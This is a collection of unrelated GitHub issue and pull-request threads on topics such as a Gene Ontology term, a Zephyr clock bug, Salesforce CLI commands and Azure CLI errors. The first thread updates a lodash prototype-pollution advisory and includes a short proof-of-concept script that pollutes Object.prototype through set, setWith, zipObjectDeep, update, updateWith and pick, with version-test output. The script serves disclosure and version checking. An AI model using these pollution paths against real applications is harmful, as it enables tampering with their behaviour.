[GHSA-p6mc-m468-83gw] Prototype Pollution in lodash

Updates

Affected products
Description
References

Comments
Added function names
The root cause of this vulnerability is internal function baseSet, which is used by multiple public functions in addition to zipObjectDeep. This pull request adds those additional vulnerable functions to the description, as they may not be obvious to analysts determining if their codebase is affected. For example, https://hackerone.com/reports/864701 is essentially a duplicate of the HackerOne report that created this CVE due to the shared root cause. However, it was awarded a bounty (and received a separate Snyk entry) because it is not obvious from the older HackerOne disclosure or CVE description that set and setWith are also affected by the same bug.
This is the PoC I've been using to check affected versions:
// run.js
_ = require('lodash')
console.log(`Lodash version ${_.VERSION}`)
try {
    _.set({}, "__proto__.test1", "set() vulnerable")
    console.log(test1)
} catch{}
try {
    _.setWith({}, "__proto__.test2", "setWith() vulnerable")
    console.log(test2)
} catch{}
try {
    _.zipObjectDeep(["__proto__.test3"], ["zipObjectDeep() vulnerable"])
    console.log(test3)
} catch{}
try {
    _.update({}, "__proto__.test4", (x) => "update() vulnerable")
    console.log(test4)
} catch{}
try {
    _.updateWith({}, "__proto__.test5", (x) => "updateWith() vulnerable", Object)
    console.log(test5)
} catch{}
try {
    _.pick({ __proto__: { test6: "pick() vulnerable" } }, ["__proto__.test6"])
    console.log(test6)
} catch{}
console.log("Tests complete.")

For completeness' sake, pickBy also uses baseSet, but it isn't vulnerable because it iterates over a list of enumerable properties and doesn't access arbitrary paths provided in the function call.
Affected versions
Lower bound
The above PoC found that the oldest vulnerable version of Lodash is 3.7.0, which introduces the set function (with vulnerable functionality eventually moving to baseSet). All the other vulnerable functions were added later. pick is technically older than set but its behavior matches that of the not vulnerable pickBy until https://github.com/lodash/lodash/commit/fd526e8754b47fd98e137eb25ce56d35929ddb43 in v4.0.0.
Upper bound
The PoC above found that the fix was added in 4.17.17:
$ npm install<EMAIL_ADDRESS>&& node run.js

added 1 package, and audited 3 packages in 3s

found 0 vulnerabilities
Lodash version 4.17.16
set() vulnerable
setWith() vulnerable
zipObjectDeep() vulnerable
update() vulnerable
updateWith() vulnerable
pick() vulnerable
Tests complete.

$ npm install<EMAIL_ADDRESS>&& node run.js

changed 1 package, and audited 3 packages in 4s

found 0 vulnerabilities
Lodash version 4.17.17
Tests complete.

4.17.17 also matches the patch version listed in SNYK-JS-LODASH-608086, which was created in response to the second HackerOne disclosure of this vulnerability.
However the Lodash changelog lists the fix under 4.17.19 and says that versions 4.17.16–4.17.18 were corrupted (which doesn't match my current experience, but whatever).
lodash-es doesn't have releases for versions 4.17.16–4.17.19, so its earliest patched version would be 4.17.20. I was unable to find an issue in this repository explaining the discrepancy in affected version between the advisory details (4.17.19) and metadata (4.17.20), but I'm assuming it's because NVD has no way to differentiate lodash and lodash-es given that they're the same library with differing packaging.
References
Replaced the link to a deleted GitHub issue with an archive link and added a link to https://hackerone.com/reports/864701, which is a second disclosure for this vulnerability focusing on set and setWith.

Many thanks for the contribution, the great write up and concise POC. I'll add this PR as a reference as well 👍


NTR: oxoadipate dehydrogenase complex

Related to #27202:
name: oxoadipate dehydrogenase complex
namespace: cellular_component
def: "A multi-enzyme complex that catalyzes the oxidative decarboxylation of 2-oxoadipate to glutaryl-CoA, thereby acting in the final step of lysine and tryptophan catabolism in mitochondria. The complex comprises multiple copies of three enzymes referred to as E1, E2 and E3: 2-oxoadipate dehydrogenase (E1), dihydrolipoamide S-succinyltransferase (E2) and dihydrolipoamide dehydrogenase (E3)." [PMID:29191460, PMID:32695416]
comment: The catalytic activities of the individual components of this complex are represented by the molecular function terms '2-oxoadipate dehydrogenase activity ; GO:0160166' (E1), 'dihydrolipoyllysine-residue succinyltransferase activity ; GO:0004149' (E2), and 'dihydrolipoyl dehydrogenase activity ; GO:0004148' (E3).
synonym: "OADHC" EXACT []
is_a: GO:0045240 ! alpha-ketoacid dehydrogenase complex
intersection_of: GO:0032991 ! protein-containing complex

+[Term]
+id: GO:0160167
+name: oxoadipate dehydrogenase complex
+namespace: cellular_component
+def: "A multi-enzyme complex that catalyzes the oxidative decarboxylation of 2-oxoadipate to glutaryl-CoA, thereby acting in the final step of lysine and tryptophan catabolism in mitochondria. The complex comprises multiple copies of three enzymes referred to as E1, E2 and E3: 2-oxoadipate dehydrogenase (E1), dihydrolipoamide S-succinyltransferase (E2) and dihydrolipoamide dehydrogenase (E3)." [PMID:29191460, PMID:32695416]
+comment: The catalytic activities of the individual components of this complex are represented by the molecular function terms '2-oxoadipate dehydrogenase activity ; GO:0160166' (E1), 'dihydrolipoyllysine-residue succinyltransferase activity ; GO:0004149' (E2), and 'dihydrolipoyl dehydrogenase activity ; GO:0004148' (E3).
+synonym: "OADHC" EXACT []
+is_a: GO:0045240 ! alpha-ketoacid dehydrogenase complex
+intersection_of: GO:0032991 ! protein-containing complex
+intersection_of: capable_of GO:0160166 ! 2-oxoadipate dehydrogenase activity
+property_value: term_tracker_item "https://github.com/geneontology/go-ontology/issues/27207" xsd:anyURI
+created_by: rynl
+creation_date: 2024-03-07T00:52:16Z


feat: add ChatBubble component

Add src/ChatBubble composite component. since component is composite a default story contains custom controls to show all possible cases to use.
The official Chat bubble documentation was used as a reference for this component.
fix: #262

Can you export the component and it's types from src/index.tsx?
done.

Ready for review. Thank you.


Hard GPU Crash in Dungeons & Dragons Online

I'm trying to use this to brighten up the world in DDO a bit, as these older games tend to have a weird artistic tendency of "dark = realistic", so you can't see anything 90% of the time. Unfortunately adding this addon causes the rendering of the world to fail entirely, and after a few seconds the GPU Driver resets entirely.
Is there anything I can do to debug the issue and track down the cause?

Using the original plugin, which does not encounter this crash, I was able to find the correct shader hash. Unfortunately the plugin still causes a TDR reset, and the game freezes roughly 10 seconds after starting. After a while, the game crashes due to corrupted heap memory - suggesting something went wrong with the addon.

Sorry for the spam, but after debugging for an hour and going back in terms of versions, I found that https://github.com/4lex4nder/ReshadeEffectShaderToggler/releases/tag/v1.1.0-testing mostly works. I still don't quite understand how the groups work, but I'm no longer crashing my graphics driver.


chore(master): release 1.1.136

:robot: I have created a release beep boop
1.1.136 (2023-07-31)
Miscellaneous

deps: update dependency @wayofdev/secretlint-config to v3.0.2 (ba0f3b4)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/wayofdev/keywind/releases/tag/v1.1.136 :sunflower:


Update chef server package url to latest version 12.0.4

Changes to update default chef-server package url for version 12.0.4.

Looks good, please merge :+1: .


Remove trailing comma of 'Key Bindings' @ README

Fix following error in Sublime Text 2 after copy/pasting the suggested key binding in the README file:

Thanks!

Thank you for the plugin ;) Keep up the good work!


Unknown error occured with ZigBee IR ZS06ZS3L

Hi I am new to this repo, I have a Zigbee IR model : ZS06ZS3L
after preset with correct IR ID and Aircond ID, I keeps seeing "Unknown Error occured", how the debug can be used?

Hi, what do you see in the logs?

You can enable debug logs like this:
logger:
logs:
custom_components.tuya_smart_ir_ac: debug

Hi @EnzoD86
I have added debug into configuration.yaml and restarted full home assistant

Then I try adding AC again

Then the logs

my project do have Smart Home Basic Service, is there anything else I should check?

after added IR Control Hub Open Service, it works!!


How can I get trackingNr which is printed on label?

TrackingNr is generated during label generation (a vertical printed number on label). My customer would like to store trackingNr into our application.
How can I get trackingNr which is printed on label? Is there a sample code?
Thanks
Jan

Maybe this helps you?
https://github.com/webapix/mygls-sdk/wiki/PrintLabels

Thanks. I already use similar code to generate pdf with labels. I need a function to get generated parcelNumber by ParcelId: getParcelNumber(string $parcelId). Thanks

If you have a ParcelId, you should have a parcel number too!
You can use the GetParcelList request to get a parcel list and then filter it by ParcelId.

Thanks


feat: actionable notifications

@raix any thoughts on this?

lgtm - I haven't tested if it work

@raix I am already using this on Production since past 2 months and it works smoothly :)
P.S. This is just for android, the IOS functionality already exists in your current version. And I have added the steps required to implement in both Android and IOS


give out all images in api.

coming from https://github.com/Cazzar/ShokoMetadata.bundle/issues/9
we need the Shoko server API to support giving out all the images the server has.
right now it gives out only one cover and one fanart i believe. giving the api users (plex metadata) few choices compared to the rest.

Its good idea, but im it would need to have a proper tag so the plugin/addon developer can pick if he want to wait longer for all images to get listed or not. because it would be a bad idea by default to throw all images for filters like All and it would be silly just to throw all images just for serie when you already inside it.

This should give developer option to pick allpic, number of pic or default is back-compatible which is 1 for fanart and 1 for banner.

allpics=1 doesn't seem to load all posters.

https://github.com/ShokoAnime/ShokoServer/commit/425e6ea3801c3708c00d7d0cd27158d68509e5c2


nucleo_g431rb: Blinky too slow / wrong clock setup?

Describe the bug
The LED is on approx. 15 times per minute (measured with stop watch), so it is 2 times slower than expected. On = off time in blinky app is set to 1 second.
To Reproduce
Steps to reproduce the behavior:

west build -b nucleo_g431rb samples/basic/blinky/
west flash

Impact
As I'm dealing with energy measurement in my application, the energy will most probably be wrong by the same factor as the blinky interval is wrong.
Environment:

OS: Linux 5.4.2-1-MANJARO #1 SMP PREEMPT Thu Dec 5 09:55:57 UTC 2019 x86_64 GNU/Linux
Toolchain: West v0.6.3, Zephyr SDK v0.10.3
Commit SHA: ac09bb3

Additional context
I double-checked the clock and PLL configuration in nucleo_g431rb_defconfig vs. ST reference manual already and could not find any mistake.

This is due to a AHBPrescaler not correct in the LL_PLL_ConfigSystemClock_HSI() function

Great that you found the reason. So will you provide a fix?

Refer to stm32cube: stm32g431: wrong clock setup #34

Refer to stm32cube: stm32g431: wrong clock setup #34

Don't understand what exactly you are referring to. Was that a commit / PR? Number 34 doesn't seem related to our problem.

Sorry, refer to Refer to stm32cube: stm32g431: wrong clock setup zephyrproject-rtos/hal_stm32#34


Reference to himmelstein's hetionet?

This looks very similar to what has already been done by https://github.com/hetio/hetionet. Would you please add documentation explaining how this is different? Did you try using hetionet for this task, since it is nominally set up for drug repositioning?
Since it looks like some edges are ingested from hetionet, what added value does this add?

Hi Charles,
We are actually using Hetionet in DRKG but we have roughly doubled the number of entities and number edges over Hetionet. Regarding the additional benefit of the new information, we are in the process of finishing a paper on that. There was a measurable improvement when adding the information from GNBR. We will link the paper once it becomes available.


Dockerize the appliation

Is your feature request related to a problem? Please describe.
containerizing application ensures that they would run in anyone's system
Describe the solution you'd like
I want to dockerize the whole system by creating an appropriate dockerfile for the backend part of the system.
Additional context
Kindly assign this to me under gssoc.

Kindly assign this task to me.

@gratusrichard assigned!


Trying to connect to an MQTT broker via IPv6 address fails due to invalid broker URL

What are the steps to reproduce?
Create new MQTT Input. Create new MQTT broker. Enter ::1 as address. Make sure an mqtt broker is running on the local machine
What happens?
Connect fails. Log reveals it tried to connect to node-red@mqtt://::1:1883.
What do you expect to happen?
node-red to attempt the connection to node-red@mqtt://[::1]:1883 (with square brackets).
Workaround
Put the IPv6 address in square brackets when entering it into the broker address. Depending on how the fix is implemented this may break after the fix has been implemented.
Please tell us about your environment:

[ ] Node-RED version: 1.0.3
[ ] Node.js version: v13.8.0
[ ] npm version: 6.13.6
[ ] Platform/OS: Arch Linux
[ ] Browser: Mozilla Firefox 72.0

The fix I've pushed will wrap an IPv6 address in square brackets if it isn't already wrapped - so will be compatible with the existing workaround you have identified.


⚠ Mobitopup has degraded performance

In e512f73, Mobitopup (https://napcard.voz.tech) experienced degraded performance:

HTTP code: 200
Response time: 11737 ms

Resolved: Mobitopup performance has improved in 69d5b53.


2022.0.2 - Despite right configuration: Multiple functions found, but function definition property is not set.

Describe the issue
To Reproduce

Use multiple function definitions, eg. spring.cloud.stream.function.definition=a;b;c;d
Set the spring-cloud-dependencies version to the latest 2022.0.2
Run integration tests
Exception will be thrown:

Caused by: java.lang.IllegalStateException: Multiple functions found, but function definition property is not set.
	at org.springframework.cloud.stream.binder.kafka.streams.function.KafkaStreamsFunctionBeanPostProcessor.addResolvableTypeInfo(KafkaStreamsFunctionBeanPostProcessor.java:231)
	at org.springframework.cloud.stream.binder.kafka.streams.function.KafkaStreamsFunctionBeanPostProcessor.lambda$afterPropertiesSet$2(KafkaStreamsFunctionBeanPostProcessor

Version of the framework
2022.0.2
Expected behavior
The tests succeed similarly to 2022.0.1.
Additional context
No other dependency or anything else has been changed.

@andrashatvani The property spring.cloud.stream.function.definition is deprecated and removed. We need to use spring.cloud.function.definition instead. I will use this issue to update the Kafka Streams binder docs.

The spring.cloud.stream.function.definition property has been deprecated almost as soon as it has been created. It was kind of mistake. We did our best to remove it from the documentation for the last several years but it appears it is still lingering. Given that we are making point releases where we fixing bugs we are treating it as a bug especially realising that the fix is trivial.
Sorry about that.


Account spotlight page lacks account creation fee indicator

The account spotlight page currently does not display whether an account incurred an account creation fee. Genesis ledger accounts are not subject to this fee, but every other account is.

This issue is blocked by: https://github.com/Granola-Team/mina-indexer/issues/1305

Updated status to "Blocked" due to this comment: https://github.com/Granola-Team/mina-block-explorer/issues/936#issuecomment-2233214594

Unblocked: https://github.com/Granola-Team/mina-indexer/pull/1323

This remains blocked as change is not deployed.


How to install these files?

Hi, how to install these files? Or move them to which folder?

Wish that showed on mine, that's helpful at least. Probably banned since it might have been marked as duplicate. I can confirm the SimpleTweaks works as a slide cast indicator


I can use 'user.ip','user.token' as field keys, but cannot query by them?

select user.ip from event
Server returned error: error parsing query: found USER, expected identifier, string, number, bool at line 1, char 8

You need to double-quote user.ip.  Use select "user.ip" from event.


Enhancment: Better handling of edge cases in Dijkstra’s Algorithm

The current Dijkstra’s algorithm code works, but it could be improved to handle some extra edge cases and maybe have clearer errors. Here’s a couple of ideas:
1.	Disconnected Nodes:
•	Right now, the code doesn’t really handle nodes that are disconnected from the start node. This could be confusing if a user gets results without knowing which nodes aren’t reachable.
2.	Negative Weights:
•	Dijkstra’s algorithm only works with positive weights, but this code doesn’t check for that. Adding a check to make sure all weights are positive could prevent problems if a graph with negative weights is used by mistake.

Suggested Fixes:
•	Add some checks in the dijkstra function to:
•	Detect Negative Weights: If there’s a negative weight, return an error or warning.
•	Disconnected Nodes: Make sure distances for nodes that can’t be reached from the start node are set to infinity in the output.

Suggested Code:
import heapq

def dijkstra(graph, start):
    # Check for negative weights in the graph
    for vertex, edges in graph.items():
        for neighbor, weight in edges.items():
            if weight < 0:
                raise ValueError("Graph contains a negative weight. Dijkstra's algorithm requires all weights to be non-negative.")

    queue = []
    heapq.heappush(queue, (0, start))

    distances = {vertex: float('infinity') for vertex in graph}
    distances[start] = 0

    path = {vertex: None for vertex in graph}

    while queue:
        current_distance, current_vertex = heapq.heappop(queue)

        if current_distance > distances[current_vertex]:
            continue

        for neighbor, weight in graph[current_vertex].items():
            distance = current_distance + weight

            if distance < distances[neighbor]:
                distances[neighbor] = distance
                path[neighbor] = current_vertex
                heapq.heappush(queue, (distance, neighbor))

    return distances, path

Thanks a lot! Adding your code as a separate code in same repository.


[NO]: Add lesson on testing

Thank you @robinsjdotcom!  @Devalo would you care to review these changes?


Moving source between the local project and the org via the Salesforce CLI

The Salesforce CLI team launched the source:deploy and source:retrieve commands in Beta in winter 19. After collecting your feedback we have realized that the overlap between the mdapi and source deploy and retrieve commands is causing confusion about what commands should be used with which workflow (org development or package development). Due to this feedback, we are proposing the following changes:
The Proposal
Overall:
There will only be 2 sets of commands that move source to and from orgs:

source:push, source:pull - these  commands will track changes between the local project and the org

mdapi:deploy, mdapi:retrieve - these  commands will allow for fine-grained or bulk manipulation of source

Both sets of commands will default to maintaining the source file folder layout (i.e. source format), with an option to override the default for deploy and retrieve if you want to work in the older project file format (i.e. mdapi format).
Push and pull will work in source tracked orgs, and deploy and retrieve in all orgs
Other changes:

We are going to add the additional selectivity options to mdapi:deploy/retrieve that are currently available on source:deploy/retrieve and then deprecate source:deploy/retrieve.

mdapi:convert will be moved under the force:project topic and likely renamed to project:import. We will also add the additional selectivity options available for source:deploy/retrieve.

source:convert will be moved under the force:project topic and likely renamed to project:export. We will also add the additional selectivity options available for source:deploy/retrieve.

The mdapi:delete command with selectivity options will be implemented.

We are going to add the additional selectivity options to mdapi:deploy/retrieve that are currently available on source:deploy/retrieve and then deprecate source:deploy/retrieve.

Just shouting out that I love this.
I want to do precise deploys to prod against git diffs, and so far just running through the git diff files and passing it to source:deploy is working well for sandboxes.

Any update on this?

Since the confusion seems to be that 'source' can be both interpreted as 'source data structure' and 'source-tracked method of moving data between the local and org', why not make it explicit that the middle part is a NOUN and about the data structure, and the last is a verb and about the method of moving data.
(also see @catalandres 's itch :))
You could for example replace the middle one with 'sourcedata' and 'mdapidata', giving you:
force:sourcedata:push
force:sourcedata:pull
force:mdapidata:deploy
force:mdapidata:retrieve
...and then what happens in the recent 'magic mix' between the 2 becomes more intuitive:
force:sourcedata:deploy
force:sourcedata:retrieve
or maybe 'files' is even more clear and explicit than 'data':
force:sourcefiles:push
force:sourcefiles:pull
force:mdapifiles:deploy
force:mdapifiles:retrieve
...and then what happens in the recent 'magic mix' between the 2 becomes more intuitive:
force:sourcefiles:deploy
force:sourcefiles:retrieve
Or, MY FAVORITE, because instead of 'data' or 'files', actually 'source' is actually the best noun here for what's being pushed/deployed: how about 'source' vs 'mdapisource'? So is 'source' the short and sweet default, but there's another 'legacy' style source which is mdapisource. Both can be old-fashioned deployed and retrieved, (force:source:deploy and force:mdapisource:deploy), but only 'regular' source can be pulled/pushed the modern way.

As an additional thought to my previous comment, you would want to start referring to what you now call 'source format' in a new way, like 'tracking-friendly format' something.  Then you can explain things as follows:
_'a new sfdx project will by default have its source code and metadata arranged in a new, tracking-friendly format. You can push/pull between this local source and a scratch org with force:source:push / force:source:pull.
To more drastically deploy/retrieve source in this format, in the old non-tracked way, for example against a developer org, you can also use force:source:deploy and force:source:retrieve.
For the older formatting of source code and metadata, called metadata api format or 'mdapi format', you cannot pull or push but you - can - deploy and retrieve, with mdapisource:deploy and mdapisource:retrieve.'_

How neat is that? Minimal syntax change, current force:source commands can stay as is, and super intuitive what you are actually doing in the 'old' style with force:mdapisource:deploy / force:mdapisource:retrieve


UI: Unable to create a domain when networkdomain is mentioned and cleared

ISSUE TYPE
BUG
Component Name
UI
CLOUDSTACK VERSION
Cloudstack version 4.19
SUMMARY
UI: Unable to create a domain when networkdomain is mentioned and cleared
Steps to reproduce the issue

Navigate to Domains  > Create domain >  mention network domain

Clear the network domain field

Create the domain

Exception

Exception error message  431

Actual Behaviour
The domain is not created
Expected Behaviour
The domain should get created  when the networkdomain is cleared
There is no issue with the API Call

fixed in #9637


XML Transformation is not working in connectionStrings section

For some reason, XML transformation is not working in connectionStrings section.. All the other sections are transformed properly.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 315ff823-9992-9f9b-62a1-42ce622ed41c
Version Independent ID: 72ec3ffc-1dc9-b2dc-e3d4-4f14deae3720
Content: File transforms and variable substitution - Azure Pipelines
Content Source: docs/pipelines/tasks/transforms-variable-substitution.md
Product: devops
Technology: devops-cicd-tasks
GitHub Login: @RoopeshNair
Microsoft Alias: ronai

setting /p:AutoParameterizationWebConfigConnectionStrings=False in msbuild is required for connectionStrings section to be transformed.
Should we consider adding this to the documentation?
see also: https://stackoverflow.com/a/53856111/5588197


Vertex Buffer is using old graphics device API

If one uses pc.createMesh(), it would crash here, since createVertexBufferImpl was moved out from the graphics device.
https://github.com/playcanvas/engine/blob/0a103d9934372749aba3f27076eecb7744c15b07/src/platform/graphics/vertex-buffer.js#L32

Actually, looking closer, it seems like it is a vertex buffer, rather than a graphics device. Somewhere a wrong argument is passed probably.

Is there some repro for this?

@mvaligursky I've made one here:
https://playcanvas.com/project/1027097/overview/create-mesh-issue

the problem is that pc.createMesh takes a graphicsDevice as first parameter, which you're not supplying, and so it uses an array of positions as a device. And that does not have createVertexBufferImp.
pc.createMesh(positions, normals, tangents, uvs, indices);


PostFetchJob: Kill running Git process when unmounting

The post-fetch job runs up to two Git commands: 'git multi-pack-index write' and 'git commit-graph write'. These can each take up to 30s depending on the amount of work to do. When we unmount, we want to ensure these prcoesses terminate.
Before, we were aborting the post-fetch job thread. This is not cross-platform compliant.
The new approach is to store a GitProcess object and pass a Kill signal to that process during unmount. Watch that call for some possible exceptions. Also, add an additional processLock to GitProcess that holds around our state changes for the process (starting or killing the process) so we don't race by killing a process before it starts and have it start anyway.
As part of revealing this GitProcess to the necessary layer, I pulled the implementation of TryWriteMultiPackIndex out of the GitObjects class.
The test suite was previously exercising this code path during the functional tests, as the functional tests frequently ran faster than the background Git processes. That should give some good data on how this works.
Resolves #409

@sanoursa Thanks for the review! I think I've responded to everything.
Here are the things that you probably should take second looks at:

Interlocked.CompareExchange() didn't seem like the right thing for this application, but I focused on using local variables to avoid nullrefs.

I added an extra object lock and stopping bool in GitProcess to handle changing the inner Process state (can't Start() or Kill() without holding that lock). This prevents a Kill() from happening before a Start().


az network private-endpoint create - "group Id" is not an optional argument

Describe the bug
When creating a private endpoint, the target resource's group Id is listed as optional, but it is required.
To Reproduce
When you run:
az network private-endpoint create --name {peName} --resource-group {rgName} --vnet-name {vnetName} --subnet {subnetName} --private-connection-resource-id {peResourceId} --connection-name {peConnectionName}

You get back:
MissingParameterOnPrivateLinkServiceConnection - Private link service connection /subscriptions/{subId}/resourceGroups/{rgName}/providers/Microsoft.Network/privateEndpoints/{resourceName}/privateLinkServiceConnections/{peName} is missing required parameter 'group Id'.

Expected behavior
An accurate description of the required arguments in documentation and --help.
Environment summary
azure-cli version 2.11.1

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8911e94f-9496-a68d-50c0-b5d536a375a4
Version Independent ID: cc37b77b-0fa2-991b-e16b-fcdbbf183853
Content: az network private-endpoint
Content Source: src/azure-cli/azure/cli/command_modules/network/_help.py
Service: virtual-network
GitHub Login: @rloutlaw
Microsoft Alias: routlaw

add to S176

It is optional. One of the supported resources, PrivateLinkResource is required not to provide this, so we leave it optional. But the other resources are required


Depot fails to compile

Hello - my students downloaded your depot to check it out and it fails to compile. I downloaded the code myself in a clean environment and they are correct. The failure is listed below. We're going to try to run gradlew.bat to fix the issues but you should take a look at it since this code branch is being prescribed as a solution for neos on an mk platform.
Task :spotlessGroovyGradleCheck FAILED
FAILURE: Build failed with an exception.
What went wrong:
Execution failed for task ':spotlessGroovyGradleCheck'.
The following files had format violations:
build.gradle
@@ -1,131 +1,131 @@
-plugins {\n

id "java"\n
id "edu.wpi.first.GradleRIO" version "2022.4.1"\n
id "com.diffplug.spotless" version "6.1.0"\n
-}\n
-\n
-sourceCompatibility = JavaVersion.VERSION_11\n
-targetCompatibility = JavaVersion.VERSION_11\n
-\n
-def ROBOT_MAIN_CLASS = "frc.robot.Main"\n
-\n
-// Define my targets (RoboRIO) and artifacts (deployable files)\n
-// This is added by GradleRIO's backing project DeployUtils.\n
-deploy {\n
targets {\n
roborio(getTargetTypeClass('RoboRIO')) {\n
// Team number is loaded either from the .wpilib/wpilib_preferences.json\n
// or from command line. If not found an exception will be thrown.\n
// You can use getTeamOrDefault(team) instead of getTeamNumber if you\n
// want to store a team number in this file.\n
team = project.frc.getTeamOrDefault(3512)\n
debug = project.frc.getDebugOrDefault(false)\n
-\n
artifacts {\n
// First part is artifact name, 2nd is artifact type\n
// getTargetTypeClass is a shortcut to get the class type using a string\n
-\n
frcJava(getArtifactTypeClass('FRCJavaArtifact')) {\n
}\n
-\n
// Static files artifact\n
frcStaticFileDeploy(getArtifactTypeClass('FileTreeArtifact')) {\n
files = project.fileTree('src/main/deploy')\n
directory = '/home/lvuser/deploy'\n
}\n
}\n
}\n
}\n
-}\n
-\n
-def deployArtifact = deploy.targets.roborio.artifacts.frcJava\n
-\n
-// Set to true to use debug for JNI.\n
-wpi.java.debugJni = false\n
-\n
-// Set this to true to enable desktop support.\n
-def includeDesktopSupport = false\n
-\n
... (214 more lines that didn't fit)
Violations also present in:
settings.gradle
Run 'gradlew.bat :spotlessApply' to fix these violations.

Running the Fix Gradle leads into another error.  Have you seen this before? Hate to spend the time debugging if this has already been found.

Task :spotlessJava FAILED
Step 'google-java-format' found problem in 'src\main\java\frc\lib\config\CTREConfigs.java':
null
java.lang.reflect.InvocationTargetException

Hello! This is Spotless letting you know that the files that you might have changed don't line up with the formatting style that is implemented. To fix it, you run the command suggested towards the end 'gradlew.bat :spotlessApply' on Windows machines or './gradlew spotlessApply' on Mac/Linux. You need to manually run it every time you change something before you build as the regular build command isn't setup to automatically format the code.

Thanks. As an FYI running the gradle batchfile does lead to another error in the CTRE Constant file. (we're looking at that now)
And good catch on the 2022.4.1 version thanks!
From: Adan Silva @.>
Sent: Friday, October 27, 2023 10:18 AM
To: frc3512/SwerveBot-2022 @.>
Cc: LTrain @.>; Author @.>
Subject: Re: [frc3512/SwerveBot-2022] Depot fails to compile (Issue #16)
Also, remember to update the project's tool chain as it's still on 2022.4.1.

Reply to this email directly, view it on GitHubhttps://github.com/frc3512/SwerveBot-2022/issues/16#issuecomment-1782997348, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AAF3D3OLLXDE7S3LLHMAIOTYBO7CXAVCNFSM6AAAAAA6S2OUZ2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTOOBSHE4TOMZUHA.
You are receiving this because you authored the thread.Message ID: @.***>


Add calbug expeditions collection

This looks right but we should verify that we're pulling images for the correct collection and that we're writing transcripts to the correct collection.

Awesome to see this.  Would like to test before it is just POOP available
on NFN.  Can you PLEASE let me know ASAP if this does go live so we can
quick test it, and i can get a blog post out about this new Expedition.  We
have it ready to go.  Darren, might be cool to try drumming up some
publicity on this maybe?  Its a neat thing to move towards these
expeditions, which we are going to build out in the neat future much more
fully! :)
Best, Rob
p.s. --- would be GREAT if we could get this up ASAP (today???)
On Fri, Jul 24, 2015 at 4:55 PM, rafe<EMAIL_ADDRESS>wrote:

This looks right but we should verify that we're pulling images for the
correct collection and that we're writing transcripts to the correct
collection.
You can view, comment on, or merge this pull request online at:
https://github.com/zooniverse/notesFromNature/pull/369
Commit Summary

WIP adding the Calbug Expeditions collection
More changes for the new collection
Removing console log
Adding badges for calbug-expeditions

File Changes

M app/controllers/TranscriptionController.coffee
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-0
(14)
A app/controllers/interfaces/bugExpeditions.coffee
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-1
(82)
M app/controllers/interfaces/bugs.coffee
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-2
(2)
M app/lib/badge-definitions.coffee
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-3
(48)
M app/lib/groups.coffee
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-4
(18)
M lib/nfn/ui/bugs/transcriber.js
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-5
(2)
A public/images/archives/calbugBg3.jpg
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-6
(0)
A public/images/img-collections6.jpg
https://github.com/zooniverse/notesFromNature/pull/369/files#diff-7
(0)

Patch Links:

https://github.com/zooniverse/notesFromNature/pull/369.patch
https://github.com/zooniverse/notesFromNature/pull/369.diff

—
Reply to this email directly or view it on GitHub
https://github.com/zooniverse/notesFromNature/pull/369.

:+1:

@robgur This has been deployed to the live site, with 15,416 images in the collection. All seems well with a brief glance.

Awesome. Can we put a "DONE" or some other way to denote that old CalBug is
"out" of images?
On Tue, Jul 28, 2015 at 5:22 PM, Chris Snyder<EMAIL_ADDRESS>wrote:

@robgur https://github.com/robgur This has been deployed to the live
site, with 15,416 images in the collection. All seems well with a brief
glance.
—
Reply to this email directly or view it on GitHub
https://github.com/zooniverse/notesFromNature/pull/369#issuecomment-125757480
.

I just entered a few specimens on the CalBug Expeditions site to test it
out. Seems to work fine. Nice work getting this up!
The only issue I noticed is that the black bar that gives the filename (eg.
EMEC12345 Genus species) says "undefined undefined".
Pete

Dr. Peter T Oboyski
Collections Manager & Curatorial Supervisor
Essig Museum of Entomology
1170 Valley Life Science Building
University of California, Berkeley
mailing address:
1101 VLSB, #4780
Berkeley, CA 94720
http://nature.berkeley.edu/~poboyski/
http://essig.berkeley.edu
<EMAIL_ADDRESS>510.643.0804 (work phone)
510.847.0360 (cell phone)
On Tue, Jul 28, 2015 at 3:01 PM, Rob<EMAIL_ADDRESS>wrote:

Awesome. Can we put a "DONE" or some other way to denote that old CalBug is
"out" of images?
On Tue, Jul 28, 2015 at 5:22 PM, Chris Snyder<EMAIL_ADDRESS>wrote:

@robgur https://github.com/robgur This has been deployed to the live
site, with 15,416 images in the collection. All seems well with a brief
glance.
—
Reply to this email directly or view it on GitHub
<
https://github.com/zooniverse/notesFromNature/pull/369#issuecomment-125757480
.

—
Reply to this email directly or view it on GitHub
https://github.com/zooniverse/notesFromNature/pull/369#issuecomment-125766231
.


Updated domain-list.json

Please dont commit that often with the same Message. 1-2 Commits are enough.


Remove storage MaxValues limits

Was good for testing but not needed anymore. @shawntabrizi

For context, developers that can set a limit to their maps should do so, since this can result in optimized Proof size calculations. However, in these cases, the limits are not actually enforced, so instead, the benchmarking CLI has logic to determine a worst case scenario proof.

bot merge


Fix requires handling

Include and supersede #1085 and #1088:

fix #1086
fix #1087
support extras specifiers in install_requires requirements

Note that of course the tests still fails because tox will setup the environment with setuptools 36.2.0. You can check successful builds on AppVeyor and Travis when pinning setuptools to 35.0.0.

As an alternative to cutting a new release, the following patch can be used to fix the test builds by preventing virtualenv from updating pip/setuptools/wheel and instead use the versions available per default on AppVeyor/Travis:
diff --git a/appveyor.yml b/appveyor.yml
index 9313a482..543ee08e 100644
--- a/appveyor.yml
+++ b/appveyor.yml
@@ -16,5 +16,6 @@ build: off

 test_script:
   - "python bootstrap.py"
+  - "python -m pip install --upgrade virtualenv"
   - "python -m pip install tox"
   - "tox"
diff --git a/tox.ini b/tox.ini
index 4b4b4fd8..9fd673a2 100644
--- a/tox.ini
+++ b/tox.ini
@@ -5,6 +5,8 @@
 # export TOXENV='py2{6,7},py3{3,4,5,6},pypy'

 [testenv]
+setenv =
+	VIRTUALENV_DOWNLOAD=0
 deps=-rtests/requirements.txt
